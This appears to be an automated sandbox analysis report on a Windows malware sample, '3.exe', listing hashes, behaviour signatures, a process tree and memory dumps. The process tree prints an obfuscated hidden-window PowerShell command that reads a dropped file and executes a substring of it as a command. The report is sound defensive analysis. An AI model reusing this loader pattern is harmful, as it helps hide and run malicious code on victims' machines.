Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    22-01-2025 14:20

General

  • Target

    3.exe

  • Size

    1.0MB

  • MD5

    b12fcafcafe31d82b9577e460eb964f8

  • SHA1

    58fbad4f11e59247da39a217e2c5dce1673e3f9a

  • SHA256

    c3f967c4659e6e10c8f8ab14d7900f3917ff98111d72e65954ff1c84c853fa30

  • SHA512

    d3def66c6ea0501733b2c5bed2a3e3e4342a5bafe44fd3960ea533dd746e1e70e05966e89069270ad04f86f887032501da85d67efb9600dc44f9d6ef3ef673a4

  • SSDEEP

    24576:y1O73OLeshQvkIvlD6qhMTkHppllemxT18b7Ifzfz:SzCsvOQAHXD/xT18b6Tz

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3.exe
    "C:\Users\Admin\AppData\Local\Temp\3.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in System32 directory
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:1784
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Overpublicity=gc -raw 'C:\Users\Admin\AppData\Local\Temp\hjlpeklasse\bekvemt\Minimumshjdens.Leg';$Antisex=$Overpublicity.SubString(10135,3);.$Antisex($Overpublicity) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2844

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • \Users\Admin\AppData\Local\Temp\nsj5024.tmp\nsExec.dll

    Filesize

    6KB

    MD5

    14f5984b926208de2aafb55dd9971d4a

    SHA1

    e5afe0b80568135d3e259c73f93947d758a7b980

    SHA256

    030bcfa82e3bb424835a5fa53a3ff17ab08557d3bbeea4815313036fc4bdafe1

    SHA512

    e9ec97dd57ead871789d49ed38d9fde5f31d3cb2547810cae49a736e06b9f9b28cf8efea825eb83c3e07d880ee798abfb9069c6957416d5973c83e4531814e27

  • memory/2844-15-0x0000000073D91000-0x0000000073D92000-memory.dmp

    Filesize

    4KB

  • memory/2844-16-0x0000000073D90000-0x000000007433B000-memory.dmp

    Filesize

    5.7MB

  • memory/2844-18-0x0000000073D90000-0x000000007433B000-memory.dmp

    Filesize

    5.7MB

  • memory/2844-19-0x0000000073D90000-0x000000007433B000-memory.dmp

    Filesize

    5.7MB

  • memory/2844-17-0x0000000073D90000-0x000000007433B000-memory.dmp

    Filesize

    5.7MB

  • memory/2844-20-0x0000000073D90000-0x000000007433B000-memory.dmp

    Filesize

    5.7MB